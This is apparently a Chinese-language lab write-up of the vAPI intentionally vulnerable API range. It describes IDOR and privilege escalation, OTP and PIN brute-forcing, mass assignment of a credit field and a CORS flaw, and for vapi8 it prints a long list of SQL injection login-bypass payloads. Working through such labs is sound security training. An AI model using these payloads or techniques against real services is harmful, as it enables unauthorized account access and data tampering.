前言
自行去搭建vAPI靶场,配合postman使用
vapi1
创建用户
第一个用户
{
"username": "shi",
"name": "shi1",
"course": "nihao",
"id": 10
}
第二个用户
{
"username": "hui",
"name": "hui1",
"course": "hao",
"id": 11
}
获取用户
设置 Authorization-Token,格式为base64_encode(username:password)
shi:11->c2hpOjEx
hui:22->aHVpOjIy
修改用户信息
同样需要在 Headers 中设置 Authorization-Token,然后设置修改内容
我这里使用hui的账号去修改name为SSS
漏洞利用点
利用上述三个只判断用户名和密码是否匹配,没有判断用户和id是否匹配,也就是说,他只判断Authorization-Token输入的内容是否正确,不判断这个Authorization-Token和我们查询的id是否匹配,这里就可以越权查看别人信息,或者修改别人信息
我这里使用hui的Authorization-Token去查询了id为1的账户信息,修改了id为10的账户信息
vapi2
根据官方文档的提示,去查找给出的资料,来爆破
爆破就不作记述,拿到token后,再去登录即可
vapi3
这里是一个对 APK 流量进行抓包,flag就应该在回显中,但我不会抓取apk,详情可看别的师傅文章
vapi4
暴力破解四位otp即可,再填入token值,就可以获取flag
vapi5
正常创建用户
我这里想更换id来越权查看,发现不可以水平越权,就可以试试到api5/users目录下能不能越权查看,发现成功查看,这是一个垂直越权
vapi6
先创建一个test11;test11;test11用户
再过一遍正常的流程,查看自己账号信息,说明是一个低权限用户,credit:0,感觉这里可以利用一下
我尝试创建一个credit为1的账号,发现成功创建,但查看信息的时候还是没什么变化,估计是credit的值太小了,看了别的师傅文章发现,得用100去创建
发现flag
vapi7
先都测试一遍功能点,发现这里有个true和*,感觉是个cors,看了别的师傅文章,发现是这样的,这关的cors就很简单了,加任意 Origin就可以获取flag
vapi8
这里看文档发现,测试的是sql注入,拿万能密码测试一下
’ or 1=‘1
‘or’=‘or’
admin
admin’–
admin’ or 4=4–
admin’ or ‘1’=‘1’–
admin888
"or “a”="a
admin’ or 2=2#
a’ having 1=1#
a’ having 1=1–
admin’ or ‘2’=‘2
‘)or(‘a’=‘a
or 4=4–
c
a’or’ 4=4–
"or 4=4–
‘or’a’=‘a
“or”="a’=‘a
‘or’’=’
‘or’=‘or’
1 or ‘1’=‘1’=1
1 or ‘1’=‘1’ or 4=4
‘OR 4=4%00
"or 4=4%00
‘xor
admin’ UNION Select 1,1,1 FROM admin Where ‘’=’
1
-1%cf’ union select 1,1,1 as password,1,1,1 %23
1
17…admin’ or ‘a’='a 密码随便
‘or’=‘or’
‘or 4=4/*
something
’ OR ‘1’=‘1
1’or’1’=‘1
admin’ OR 4=4/*
1’or’1’='1
发现成功,接着就是填入token啥的
vapi9
我这里先爆破一下pin码,发现不成功,看了别的师傅文档发现,是url中的v2版本太高了,得换成v1